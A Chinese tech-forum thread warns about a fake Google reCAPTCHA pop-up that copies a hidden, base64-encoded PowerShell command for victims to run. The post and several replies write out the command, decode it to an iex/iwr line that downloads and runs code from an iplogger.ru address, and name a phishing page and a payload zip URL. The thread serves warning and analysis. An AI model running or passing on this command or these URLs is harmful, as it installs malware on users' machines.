这是一个创建于 67 天前的主题，其中的信息可能已经有所发展或是发生改变。
弹窗广告，弹出了伪装 Google recaptcha 的验证界面，点击验证后变成图中这个、并把以下命令自动拷贝到了剪切板，让你执行。
供各位把玩。
⚠除非你知道自己在干嘛，否则不要执行这个 powershell 命令。
https://pub-9c4ec7f3f95c448b85e464d2b533aac1.r2.dev/CAptcha-verify-Approvals-system.html
powershell -W Hidden -eC aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcABzADoALwAvAGkAcABsAG8AZwBnAGUAcgAuAHIAdQAvADIANQAwADkAMgA1ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAC4AQwBvAG4AdABlAG4AdAA=
8 条回复 • 2024-10-16 16:38:26 +08:00
 |
1
colinlikepotatos 67 天前
笑死，我 mac 打开的 都没识别一下
|
 |
2
iorilu 67 天前
拿这行命令什么意思呢, pwsh 可以用 base64 编码得命令?
|
 |
3
CCddf 67 天前
@iorilu iex (iwr https://iplogger.ru/250925 -UseBasicParsing).Content
iex Invoke-Expression Runs commands or expressions on the local computer. iwr Invoke-WebRequest Gets content from a web page on the internet. -UseBasicParsing This parameter has been deprecated. Beginning with PowerShell 6.0.0, all Web requests use basic parsing only. This parameter is included for backwards compatibility only and any use of it has no effect on the operation of the cmdlet. |
 |
4
iqoo 67 天前
收到过好几次，自称 github issue 回复的。连系统都不判断下，mac 系统发一个 exe 链接😂 给他压力测试了
|
 |
5
PrinceofInj 67 天前
解码了一下，实际是是下载 https://eu2.contabostorage.com/97c9beb737884d93a1899766d9f4e34c:gostired/leto15.zip 这个文件解压后执行，压缩包是啥就不知道了。不敢下载，怕被 IT 抓
|
 |
6
NothingExist 67 天前
iex (iwr https://iplogger.ru/250925 -UseBasicParsing).Content
这行命令会向一个 iplogger.ru 网站发送请求，并运行返回的内容。通常情况下，这类操作用于收集用户的 IP 地址或进行其他恶意活动，建议小心运行这种脚本，尤其是在不了解其来源的情况下。 |
 |
7
20160409 OP @PrinceofInj #5 草草的在线扫一下，有人已经扫过了
https://www.virustotal.com/gui/url/c50ae17824c6843108f64fb68f4da5334deb2c7347b7072d784c320fa3d27341 Last Analysis Date 15 hours ago |
 |
8
xiaocczhi 66 天前
机箱冒烟了
|
Select Language